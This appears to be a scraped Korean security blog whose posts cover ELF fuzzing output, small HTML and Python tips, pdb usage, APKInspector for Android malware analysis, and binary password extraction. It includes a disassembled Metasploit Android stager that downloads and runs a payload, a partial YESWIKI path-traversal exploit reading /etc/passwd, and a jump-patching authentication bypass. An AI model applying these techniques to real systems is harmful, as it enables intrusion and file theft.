      |!|          ;| / I'll be corrupted  5000 times ! \
      !||:.   --  /|! \_________________________________/
     /||!||:.___.|!||\   
    /|!|||!|    |!||!\\:.
 ,'//!||!||!`._.||!||,:\\\
: :: |!|||!|    |!||! |!::
| |! !||!|||`---!|!|| ||!|

[+] Automatic mode
[+] ELF type detected: ET_EXEC
[+] Selecting the metadata to fuzz

[+] Detailed log for this session: 'orcs_test/Report_test.txt'

[+] The Likelihood of execution of each rule is: Aprox. 10 % (rand() % 10 < 1)

[+] Press any key to start the fuzzing process...


=================================================================================
[+] Malformed ELF 'orc_0001':

[+] Fuzzing the relocations section .rela.dyn with 1 SHT_RELA entries

[+] Fuzzing the relocations section .rela.plt with 6 SHT_RELA entries

[+] Fuzzing the Symbol Table .dynsym with 7 entries

[+] Fuzzing the Symbol Table .symtab with 68 entries
. SHT[28] SYM[0] rule [01] executed
. SHT[28] SYM[3] rule [06] executed
. SHT[28] SYM[3] rule [15] executed
. SHT[28] SYM[7] rule [04] executed
. SHT[28] SYM[9] rule [15] executed
. SHT[28] SYM[18] rule [04] executed
. SHT[28] SYM[21] rule [06] executed
. SHT[28] SYM[22] rule [06] executed
. SHT[28] SYM[22] rule [15] executed
. SHT[28] SYM[23] rule [03] executed
. SHT[28] SYM[25] rule [04] executed
. SHT[28] SYM[25] rule [05] executed
. SHT[28] SYM[25] rule [06] executed
. SHT[28] SYM[31] rule [04] executed
. SHT[28] SYM[32] rule [03] executed
. SHT[28] SYM[42] rule [10] executed
. SHT[28] SYM[42] rule [15] executed
. SHT[28] SYM[48] rule [05] executed
. SHT[28] SYM[49] rule [15] executed
. SHT[28] SYM[55] rule [15] executed
. SHT[28] SYM[57] rule [13] executed
. SHT[28] SYM[64] rule [04] executed
. SHT[28] SYM[66] rule [10] executed

[+] Fuzzing the Dynamic section .dynamic with 29 entries

[+] Fuzzing the Note section .note.ABI-tag with 32 bytes
. SHT[2] NOTE[0] rule [03] executed

[+] Fuzzing the Note section .note.gnu.build-id with 36 bytes

[+] Fuzzing the String Table .dynstr with 100 bytes

[+] Fuzzing the String Table .shstrtab with 264 bytes

[+] Fuzzing the String Table .strtab with 632 bytes
Share: | Coffee Me:

[HTML/CSS] HTML 이벤트핸들러, 스크립트를 이용한 Text Box 클릭 시 사라지는 글자 만들기

간단하게 onfocus 핸들러로 해당 Text Box에 포커싱이 잡혔을 때 Text를 지우고 포커싱이 없고 데이터가 없는 경우 다시 value 값에 원하는 문자열을 넣어 텍스트창을 클릭 시 사라지는 문자열을 만들 수 있습니다.

<html>
<body>

<textarea name="inputData" rows="40" style="width: 100%;" onfocus="if(this.value =='Text를 입력해주세요.') this.value='';"
onblur="if(this.value =='') this.value='Text를 입력해주세요.';" value="Text를 입력해주세요."></textarea>

</body>
</html>
Share: | Coffee Me:

[PYTHON] Python에서의 예외처리 방법(Exception code for Error data)

python 코드 내 에러를 처리하는 구문을 통해 에러를 표현하고, 발생 시 해결할 수 있습니다.
개발과정에는 물론, 이후 오픈소스 툴을 사용하는 과정에서 Error 가 발생하고, 발생하는 Error 하나만으로는 처리가 어려울 때 임의로 코드를 수정하여 에러내용을 확인할 수 있습니다.

오픈소스 툴 사용 중 아래와 같은 에러(IOError)가 발생하였을 때 우리는 IOError 라는 정보 하나로 문제를 해결하기엔 어려운감이 있습니다.

IOError

그래서 해당 에러가 발생한 부분을 찾아나섰지요.

try:
  data = open(inputpath, "r").read()
except IOError:
  print "IOError"
  data = None

위 코드는 except 를 사용하여 에러처리를 하며, IOError 발생 시 print로 IOError 가 발생하였다고 찍어주게 됩니다.
여기서 Except 부분에 as를 통해 값을 err 이라는 변수에 넣고, 출력에서 해당 부분까지 같이 출력해주면 좀 더 쉽게 에러에 대해 파악할 수 있습니다.

try:
  data = open(inputpath, "r").read()
except IOError as err:
  print "IOError"+str(err)
  data = None
       
물론 이런 상세한 에러는 이후 해커에게 공격당할 때 좋은 정보원으로 사용될 수 있어, 개발 완료후에는 간단한 메시지 정도로 노출시켜주는 것이 좋습니다.
Share: | Coffee Me:

[PYTHON] PDB(Python Debugger)사용법 및 PDB를 이용한 파이썬 스크립트(.PY) 디버깅 / PDB 옵션(PDB Options)

PDB 사용법 및 Debugger 옵션에 관한 내용입니다.

PDB 사용 방법(Usage)

n: 현재 라인 실행(step next)
s: 현재 라인의 함수 안으로 이동(step in)
run: 현재 지점에서 계속 실행(다음 set_trace가 없으면 디버깅이 끝나는 셈)

> /usr/lib/python2.7/lib-tk/Tkconstants.py(70)<module>()
-> NORMAL='normal'
(Pdb) s
> /usr/lib/python2.7/lib-tk/Tkconstants.py(71)<module>()
-> DISABLED='disabled'
(Pdb) s
> /usr/lib/python2.7/lib-tk/Tkconstants.py(72)<module>()
-> ACTIVE='active'
(Pdb) n
> /usr/lib/python2.7/lib-tk/Tkconstants.py(74)<module>()
-> HIDDEN='hidden'
(Pdb) n
> /usr/lib/python2.7/lib-tk/Tkconstants.py(77)<module>()
-> CASCADE='cascade'
(Pdb) n

$ pdb sqlmap.py 
> ~~~/tool/sqlm/sqlmap.py(6)<module>()
-> """
(Pdb) 

import pdb
import test
pdb.run('test.start()')
위와 같이 임의로 만든 test를 import 하고, test내 start 메소드를 실행하는 것을 pdb.run을 통해 실행하여 pdb를 사용할 수도 있습니다.

> <string>(0)?()
(Pdb) continue
> <string>(1)?()
(Pdb) continue
NameError: 'test'
> <string>(1)?()
(Pdb)

Debugger Command

(Pdb) h

Documented commands (type help <topic>):
========================================
EOF    bt         cont      enable  jump  pp       run      unt  
a      c          continue  exit    l     q        s        until
alias  cl         d         h       list  quit     step     up  
args   clear      debug     help    n     r        tbreak   w    
b      commands   disable   ignore  next  restart  u        whatis
break  condition  down      j       p     return   unalias  where

Miscellaneous help topics:
==========================
exec  pdb

Undocumented commands:
======================
retval  rv


h(elp) [command]
Without argument, print the list of available commands. With a command as argument, print help about that command. help pdb displays the full documentation file; if the environment variable PAGER is defined, the file is piped through that command instead. Since the command argument must be an identifier, help exec must be entered to get help on the ! command.
w(here)
Print a stack trace, with the most recent frame at the bottom. An arrow indicates the current frame, which determines the context of most commands.
d(own)
Move the current frame one level down in the stack trace (to a newer frame).
u(p)
Move the current frame one level up in the stack trace (to an older frame).
b(reak) [[filename:]lineno | function[, condition]]
With a lineno argument, set a break there in the current file. With a function argument, set a break at the first executable statement within that function. The line number may be prefixed with a filename and a colon, to specify a breakpoint in another file (probably one that hasn’t been loaded yet). The file is searched on sys.path. Note that each breakpoint is assigned a number to which all the other breakpoint commands refer.

If a second argument is present, it is an expression which must evaluate to true before the breakpoint is honored.

Without argument, list all breaks, including for each breakpoint, the number of times that breakpoint has been hit, the current ignore count, and the associated condition if any.

tbreak [[filename:]lineno | function[, condition]]
Temporary breakpoint, which is removed automatically when it is first hit. The arguments are the same as break.
cl(ear) [filename:lineno | bpnumber [bpnumber ...]]
With a filename:lineno argument, clear all the breakpoints at this line. With a space separated list of breakpoint numbers, clear those breakpoints. Without argument, clear all breaks (but first ask confirmation).
disable [bpnumber [bpnumber ...]]
Disables the breakpoints given as a space separated list of breakpoint numbers. Disabling a breakpoint means it cannot cause the program to stop execution, but unlike clearing a breakpoint, it remains in the list of breakpoints and can be (re-)enabled.
enable [bpnumber [bpnumber ...]]
Enables the breakpoints specified.
ignore bpnumber [count]
Sets the ignore count for the given breakpoint number. If count is omitted, the ignore count is set to 0. A breakpoint becomes active when the ignore count is zero. When non-zero, the count is decremented each time the breakpoint is reached and the breakpoint is not disabled and any associated condition evaluates to true.
condition bpnumber [condition]
Condition is an expression which must evaluate to true before the breakpoint is honored. If condition is absent, any existing condition is removed; i.e., the breakpoint is made unconditional.
commands [bpnumber]
Specify a list of commands for breakpoint number bpnumber. The commands themselves appear on the following lines. Type a line containing just ‘end’ to terminate the commands.

..snip..

Reference

https://docs.python.org/2/library/pdb.html
Share: | Coffee Me:

11/24/2015

[HACKING] APKInspector를 이용한 Android Malware 분석하기 2 - APKInspector를 이용한 Malware Analysis

[HACKING] APKInspector를 이용한 Android Malware 분석하기 1 - APKInspector 설치하기(Install APKInspector)
[HACKING] APKInspector를 이용한 Android Malware 분석하기 2 - APKInspector를 이용한 Malware Analysis

이번 포스팅에선 APKInspector를 통해 악성앱 분석 시 어떠한 정보를 얻어낼 수 있는지에 대한 이야기를 할까 합니다.

분석을 위해 일단 APKInspector 를 실행합니다.

# python startQT.py

아래와 같이 창이 열리게 됩니다.



분석할 APK를 불러오기 위해서는 File->New 를 선택하거나 아래 상자+ 버튼을 선택하면 불러올 수 있습니다.
맨 처음 로딩 시 주요 의심가는 퍼미션에 대해 alert을 발생시키고, Android Manifest와 APK 정보 창을 나타냅니다.



좌측의 Main View는 분석에서 주로 사용되는 창이며 각 클래스, 메소드 별 Java,Smali 및 흐름 그래프 call/out 등을 볼  수 있는 창 입니다.

오른쪽의 SideView는 메뉴판과 비슷한 역할을 합니다. APK 구성 정보부터 File List, 주요 Method 등의 정보 확인이 가능하며, 각 메소드 클릭 시 Main View에 적용되어 Main View에서 해당 메소드에 대한 정보를 나타내줍니다.

이 툴 단일로는 분석이 어려우나, dex2jar -> jd-gui를 통한 분석 방법과 함께 악성앱 분석 시 굉장히 도움이 될 수 있는 도구입니다.
특히 복잡하게 난독화가 되거나 네이티브 코드에 대해 리버싱이 필요할 경우 어느정도 참고하며 분석이 가능합니다.


일단 우측에 있는 APK Info로 패키지명, 퍼미션에 대해 확인이 가능합니다.

제가 선택한 앱에서는 아래와 같은 퍼미션이 확인되네요.

android.permission.INTERNET
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_COURSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.READ_PHONE_STATE
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.RECORD_AUDIO
android.permission.CALL_PHONE
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.RECORD_AUDIO
android.permission.WRITE_SETTINGS
android.permission.CAMERA
android.permission.READ_SMS
android.permission.WRITE_EXTERNAL_STORAGE

Main View에서도 Android Manifest 파일을 통해 퍼미션 확인이 가능합니다.



CFG를 통해 흐름을 볼 수 있고 해당 메소드에서 Dalvik 단의 호출 데이터를 볼 수 있습니다.




0x0 const/4 v9 , [#+ 1] , {1}
0x2 const/4 v8 , [#+ 0] , {0}
0x4 const-string v4 , [string@ 163 https]
0x8 invoke-virtual v10 , v4 , [meth@ 57 Ljava/lang/String; (Ljava/lang/String;) Z startsWith]
0xe move-result v4
0x10 if-eqz v4 , [+ 57]
0x14 new-instance v4 , [type@ 43 Ljava/net/URL;]
0x18 invoke-direct v4 , v10 , [meth@ 77 Ljava/net/URL; (Ljava/lang/String;) V <init>]
0x1e invoke-virtual v4 , [meth@ 78 Ljava/net/URL; () Ljava/net/URLConnection; openConnection]
0x24 move-result-object v3
0x26 const-string v4 , [string@ 127 com.metasploit.stage.PayloadTrustManager]
0x2a invoke-static v4 , [meth@ 46 Ljava/lang/Class; (Ljava/lang/String;) Ljava/lang/Class; forName]
0x30 move-result-object v4
0x32 const-string v5 , [string@ 233 useFor]
0x36 new-array v6 , v9 , [type@ 62 [Ljava/lang/Class;]
0x3a const-class v7 , [type@ 44 Ljava/net/URLConnection;]
0x3e aput-object v7 , v6 , v8
0x42 invoke-virtual v4 , v5 , v6 , [meth@ 48 Ljava/lang/Class; (Ljava/lang/String; [Ljava/lang/Class;) Ljava/lang/reflect/Method; getMethod]
0x48 move-result-object v4
0x4a const/4 v5 , [#+ 0] , {0}
0x4c new-array v6 , v9 , [type@ 63 [Ljava/lang/Object;]
0x50 aput-object v3 , v6 , v8
0x54 invoke-virtual v4 , v5 , v6 , [meth@ 69 Ljava/lang/reflect/Method; (Ljava/lang/Object; [Ljava/lang/Object;) Ljava/lang/Object; invoke]
0x5a invoke-virtual v3 , [meth@ 80 Ljava/net/URLConnection; () Ljava/io/InputStream; getInputStream]
0x60 move-result-object v1
0x62 new-instance v2 , [type@ 21 Ljava/io/ByteArrayOutputStream;]
0x66 invoke-direct v2 , [meth@ 31 Ljava/io/ByteArrayOutputStream; () V <init>]
0x6c new-instance v0 , [type@ 22 Ljava/io/DataInputStream;]
0x70 invoke-direct v0 , v1 , [meth@ 32 Ljava/io/DataInputStream; (Ljava/io/InputStream;) V <init>]
0x76 sget-object v4 , [field@ 5 Lcom/metasploit/stage/Payload; [Ljava/lang/String; parameters]
0x7a invoke-static v0 , v2 , v4 , [meth@ 12 Lcom/metasploit/stage/Payload; (Ljava/io/DataInputStream; Ljava/io/OutputStream; [Ljava/lang/String;) V readAndRunStage]
0x80 return-void
0x82 new-instance v4 , [type@ 43 Ljava/net/URL;]
0x86 invoke-direct v4 , v10 , [meth@ 77 Ljava/net/URL; (Ljava/lang/String;) V <init>]
0x8c invoke-virtual v4 , [meth@ 79 Ljava/net/URL; () Ljava/io/InputStream; openStream]
0x92 move-result-object v1

0x94 goto [+ -25]

동일한 내용을 ByteCode로도 볼 수 있구요.


Call/out 기능에서는 메소드의 호출 순서를 볼 때 도움이 됩니다.
문자열 난독화로 따라가기 힘든 소스에서 조금 도움이 될 것 같네요.



마지막으로 APK 내 포함되어 있는 String 리스트에  대해서도 확인할 수 있습니다.



이러한 정보를 통해 dex2jar,jdgui 조합의 분석에서 좀 더 심도있는 분석을 진행할 때 도움이 될 수 있는 좋은 툴 입니다.



Share: | Coffee Me:

11/23/2015

[HACKING] APKInspector를 이용한 Android Malware 분석하기 1 - APKInspector 설치하기(Install APKInspector)

[HACKING] APKInspector를 이용한 Android Malware 분석하기 1 - APKInspector 설치하기(Install APKInspector)
[HACKING] APKInspector를 이용한 Android Malware 분석하기 2 - APKInspector를 이용한 Malware Analysis

안드로이드 악성 분석 툴 중 쓸만한 것이 있어 포스팅합니다.
바로 APKInspector라는 툴이며, 이 툴은 ARE(Android Reverse Engneering)에 포함된 프로그램이죠.


APKInspector 다운로드 및 설치(APKInspector Download & Install)


apkinspector 는 github를 통해 배포되고 있어 git 으로 쉽게 설치가 가능합니다.

# git clone https://github.com/honeynet/apkinspector.git

클론이 생성되면 APKInspector 에서 사용되는 패키지, 모듈 설치가 필요합니다.
크게 아래와 같습니다.

QtSDK
SIP
PyQT4
pydot
Graphviz
apktool
ipython
python-scipy

정도가 됩니다.
git 내부에 해당 패키지 대부분이 있어, 각 디렉토리로 이동 후 아래와 같은 방법으로 설치가 가능합니다.

압축해제
# tar -xvf PyQt-x11-gpl-4.9.4.tar.gz
# tar -xvf graphviz-2.28.0.tar.gz
# tar -xvf pydot-1.0.28.tar.gz
# tar -xvf sip-4.13.3.tar.gz

pydot 설치(Install pydot)
# cd pydot-1.0.28
# python setup.py install
# make;make install

sip 설치(Install sip)
# cd sip-4.13.3
# python configure.py
# make
# make install 

graphviz 설치(Install graphviz)
# cd graphviz-2.28.0
# ./configure
# make
# make install 

PyQT 설치(Install PyQT)
# cd PyQT-x11-gpl-4.9.4
# python setup.py install
# make;make install

configure.py 스크립트, make를 실행해서 MakeFile 생성 후 make;make install 로 설치가 가능합니다.
이렇게 여러 모듈을 설치해주면 남는건 ipython이랑 python-scipy입니다.

이 둘은 데비안 계열 리눅스 기준으로 apt-get 을 통해 쉽게 설치가 가능합니다.

# apt-get install python-tk python-scipy ipython

설치 후 실행하면 아래와 같이 정상적으로 실행됩니다.

Error 처리1 ImportError: No module named ipapi

import IPython.ipapi
ImportError: No module named ipapi

바로 ipapi 모듈이 없다고 나타나게 되는데요. 이게 발생하는 이유가 ipapi를 포함한 ipython 이 버전이 업그레이드 되면서  ipapi 의 위치가 변경되어서 발생한 문제입니다.

구 ipython 버전을 설치해서 해결하는 방법이 있고, ipapi를 사용하는 코드에서 경로를 변경해주어 해결할 수 있습니다.

1. ipython 구버전 설치(추천)
ipython 공식 홈페이지에 릴리즈 데이터 중 0.10.2 버전의 ipython 을 설치하면 Ipython.ipapi 부분을 사용할 수 있습니다.
http://archive.ipython.org/release/0.10.2/

접근 후 설치해주시면 해결 가능합니다.

2. ipapi 호출 위치 수정
import IPython.ipapi -> import IPython.core.ipapi

위와 같이 Ipython 과 ipapi 사이에 core를 넣어줍니다.
ipapi 가 core 하단으로 이동되어 발생한 문제기에 해당 부분을 바꾸어주면 해결될 것입니다.

Error 처리2 실행되나, Mainview에서 데이터 확인 불가

정상적으로 실행되나 좌측 MainView에서 노출이 되지 않는 이슈가 있었습니다.
에러가 발생하는 부분을 추적하던 중 pydot에서 에러가 발생함을 알게 되었습니다.

Traceback (most recent call last):
  File "startQT.py", line 616, in locateMethod
    self.displayMethod(method,classname)
  File "startQT.py", line 540, in displayMethod
    self.Tab_CFG(method)
  File "startQT.py", line 752, in Tab_CFG
    xdot.method2xdot()
  File "/home/noon/Noon/apkinspector/xdotParser.py", line 52, in method2xdot
    d = pydot.graph_from_dot_data(self.buff)
  File "/usr/local/lib/python2.7/dist-packages/pydot.py", line 220, in graph_from_dot_data
    return dot_parser.parse_dot_data(data)
NameError: global name 'dot_parser' is not defined

내부에 포함된 pydot 문제로 판단하였습니다.
저는 데비안 소스아카이브에 있는 pydot 패키지를 apt-get 으로 설치하여 해결하였습니다.

# apt-get install python-pydot

적용하고 실행하니 정상적으로 실행됩니다.


Share: | Coffee Me:

11/21/2015

[SYSTEM HACKING] Binary 분석을 통해 Program에 포함된 숨겨진 데이터 찾아내기(Find Hidden Data for Application Hakcing)

일반적으로 Application 해킹에 대한 이야기는 리버싱으로 시작하여, 리버싱으로 끝나기 마련입니다.
대부분 디스어셈블러와 디버거를 이용하여 취약점을 분석하거나 내부 보안로직을 우회하는 등 프로그램에 대한 공격을 수행하게 됩니다.

오늘은 간단한게, Binary 파일 분석을 통해서 어플리케이션의 취약, 인증 우회 포인트를 찾는 방법에 대해 이야기할까 합니다.

대부분의 프로그램들은 매우 잘 만들어져 Binary 분석은 커녕 리버싱 자체로도 벅찬 경우가 있지만, 또 반대로 간단하게 Binary 분석을 통해 쉽게 풀어나갈 수 있는 프로그램도 있습니다.


아래 코드는 간단하게 Password 를 받아 비교하여, 결과를 주는 코드입니다.
코드를 보시면 알겠지만, strcmp 사용으로 취약할 수 있고, 단순한 코드여서 assemble를 통해 흐름을 바꾸어 쉽게 변조가 가능한 프로그램입니다.

#include <stdio.h>

#define db_id "admin"
#define db_pw "admin123"

void main()
{
 char user_pw[644];
 printf("input PW: ");scanf("%s",user_pw);
 if(!strcmp(db_pw,user_pw))
 {
  printf("\nOK Admin..\n");
 }
 else
 {
  printf("\nPW Error.\n");
 }


}



또한 추가로 간단한 문제점이 하나 있는데, 바로 #define을 사용하여 Password 값을 저장하고 있는 것 입니다.
프로그램 내 인증이나, 패스워드 등 중요한 데이터를 포함하고 있을 경우 hex editor로 확인이 가능합니다.

물론 ...  간단한 코드이기에 확인이 쉬운 것 뿐이지 큰 프로그램은 Binary로 분석하기 어렵습니다..ㅎㅎㅎㅎㅎㅎㅎㅎ

Test Code Compile & Execute


일단 테스트를 위해 컴파일합니다.

# gcc -o define_code define_code.c
# ll
합계 20
..snip..
-rwxr-xr-x  1 root   root   7287 11월 21 00:23 define_code
-rw-r--r--  1 root   root    251 11월 21 00:23 define_code.c


실행하면 아래와 같이 Password를 물어보고, 맞으면 OK Admin, 틀리면 PW Error를 노출하게 됩니다.

# ./define_code
input PW: www.codeblack.net

PW Error.

gHex(or hxd)를 통한 분석(Binary Analysis with HEX Editor)


ghex를 통해 한번 열어서 확인해보겠습니다. (윈도우에서는 대표적으로 hxd가 많이 사용되지요)
ELF로 시작하는 실행 파일입니다.



여기서 노출되었던 문자열 위주로 찾으면 조금 편합니다.
"PW Error" 문자열 기준으로 검색해시면 아래와 같이 찾아낼 수 있습니다. (다 쓰기보단 나눠서 찾는게 좋아요)



찾아낸 PW Error 문자열 주변으로 PW가 맞았을 때 메시지와 아까 우리가 지정한 Password 문자열을 확인할 수 있습니다.



물론 코드를 모르는 상태에서 보면 저게 뭔가 싶겠지만, 스크립트를 짜서 나름대로 분석하거나, 노가다를 통해서 어느정도 유추할 수 있는 부분이기에 프로그램 입장에서는 취약한 포인트를 하나 더 가지고 있는 상태입니다.

저련 형태로 단순 코딩된 데이터는 hex editor 이외에도 여러가지 툴들을 이용해 좀 더 쉽게 확인할 수 있습니다.


여담으로 테스트 코드로 대충 쓴거지만, 이 코드 자체가 매우 취약해서 .. objdump를 통해 확인했을 때 main 이외에 별다른게 확인되지 않고 흐름또한 단순하기 떄문에 gdb, edb 등을 이용해 쉽게 인증에 대해 통과할 수 있는 프로그램이 되겠네요.

# objdump -d define_code
000000000040060c <main>:
  40060c: 55                   push   %rbp
  40060d: 48 89 e5             mov    %rsp,%rbp
  400610: 48 81 ec 90 02 00 00 sub    $0x290,%rsp
  400617: bf 1c 07 40 00       mov    $0x40071c,%edi
  40061c: b8 00 00 00 00       mov    $0x0,%eax
  400621: e8 9a fe ff ff       callq  4004c0 <printf@plt>
  400626: 48 8d 85 70 fd ff ff lea    -0x290(%rbp),%rax
  40062d: 48 89 c6             mov    %rax,%rsi
  400630: bf 27 07 40 00       mov    $0x400727,%edi
  400635: b8 00 00 00 00       mov    $0x0,%eax
  40063a: e8 b1 fe ff ff       callq  4004f0 <__isoc99_scanf@plt>
  40063f: 48 8d 85 70 fd ff ff lea    -0x290(%rbp),%rax
  400646: 48 89 c6             mov    %rax,%rsi
  400649: bf 2a 07 40 00       mov    $0x40072a,%edi
  40064e: e8 8d fe ff ff       callq  4004e0 <strcmp@plt>
  400653: 85 c0                 test   %eax,%eax
  400655: 75 0c                 jne    400663 <main+0x57>
  400657: bf 33 07 40 00       mov    $0x400733,%edi
  40065c: e8 4f fe ff ff       callq  4004b0 <puts@plt>
  400661: eb 0a                 jmp    40066d <main+0x61>
  400663: bf 3f 07 40 00       mov    $0x40073f,%edi
  400668: e8 43 fe ff ff       callq  4004b0 <puts@plt>

strcmp 이후에 바로 jne, jmp가 있는 구간이 확인되고, 흐름을 바꾼다면 쉽게 가짜 패스워드로 통과할 수 있겠지요. :)

(gdb) set disassembly intel
(gdb) disas main
Dump of assembler code for function main:
   0x000000000040060c <+0>: push   rbp
   0x000000000040060d <+1>: mov    rbp,rsp
   0x0000000000400610 <+4>: sub    rsp,0x290
   0x0000000000400617 <+11>: mov    edi,0x40071c
   0x000000000040061c <+16>: mov    eax,0x0
   0x0000000000400621 <+21>: call   0x4004c0 <printf@plt>
   0x0000000000400626 <+26>: lea    rax,[rbp-0x290]
   0x000000000040062d <+33>: mov    rsi,rax
   0x0000000000400630 <+36>: mov    edi,0x400727
   0x0000000000400635 <+41>: mov    eax,0x0
   0x000000000040063a <+46>: call   0x4004f0 <__isoc99_scanf@plt>
   0x000000000040063f <+51>: lea    rax,[rbp-0x290]
   0x0000000000400646 <+58>: mov    rsi,rax
   0x0000000000400649 <+61>: mov    edi,0x40072a
   0x000000000040064e <+66>: call   0x4004e0 <strcmp@plt>
   0x0000000000400653 <+71>: test   eax,eax
   0x0000000000400655 <+73>: jne    0x400663 <main+87>
   0x0000000000400657 <+75>: mov    edi,0x400733
   0x000000000040065c <+80>: call   0x4004b0 <puts@plt>
   0x0000000000400661 <+85>: jmp    0x40066d <main+97>
   0x0000000000400663 <+87>: mov    edi,0x40073f
   0x0000000000400668 <+92>: call   0x4004b0 <puts@plt>
   0x000000000040066d <+97>: leave
   0x000000000040066e <+98>: ret



Share: | Coffee Me:

11/19/2015

[RUBY] OCRA를 이용하여 Ruby 스크립트(.rb File) exe(Win Format) 포팅

ocra 설치(Install OCRA)

#gem install ocra

ocra를 이용하여 ruby script(.rb) -> exe(Win Executable File)로 변환

간단한 Exploit 코드를 Exe로 변환하도록 하겠습니다.
테스트에 사용할 코드는 아래와 같습니다.


# Exploit Title: YESWIKI 0.2 - Path Traversal
# Date: 2015-09-02
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy]
# CVE : none
# ===========================================
..snip..
uri.query = URI.encode_www_form({"wiki"=>"PagesACreer/edit","newpage"=>"1","style"=>"gray.css","bgimg"=>"","squelette"=>"/../../../../../../../../../../../../#{downfile}","theme"=>"yeswiki"})
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
puts "#Response code: "+response.code
endNm = response.body.index("<")
result = response.body[0..endNm-1]
puts "#Result: "+result
end

길어서 조금 생략했어요.

# ocra test_traversal.rb 
=== Loading script to check dependencies
test Path Traversal Exploit - File Downloader
Usage: ruby test_traversal.rb [targetURL wakka.php] [File name]
  Example : ~~.rb http://127.0.0.1/vul_test/test/wakka.php /etc/passwd
  exploit & code by hahwul[www.codeblack.net]
=== Attempting to trigger autoload of Gem::ConfigFile
=== Attempting to trigger autoload of Gem::DependencyList
=== Attempting to trigger autoload of Gem::DependencyResolver
=== Attempting to trigger autoload of Gem::Installer
=== Attempting to trigger autoload of Gem::RequestSet
=== Attempting to trigger autoload of Gem::Source
=== Attempting to trigger autoload of Gem::SourceList
=== Attempting to trigger autoload of Gem::SpecFetcher
=== Attempting to trigger autoload of CGI::HtmlExtension
..snip..

# ls 
test_traversal.rb  test_traversal.exe
Share: | Coffee Me: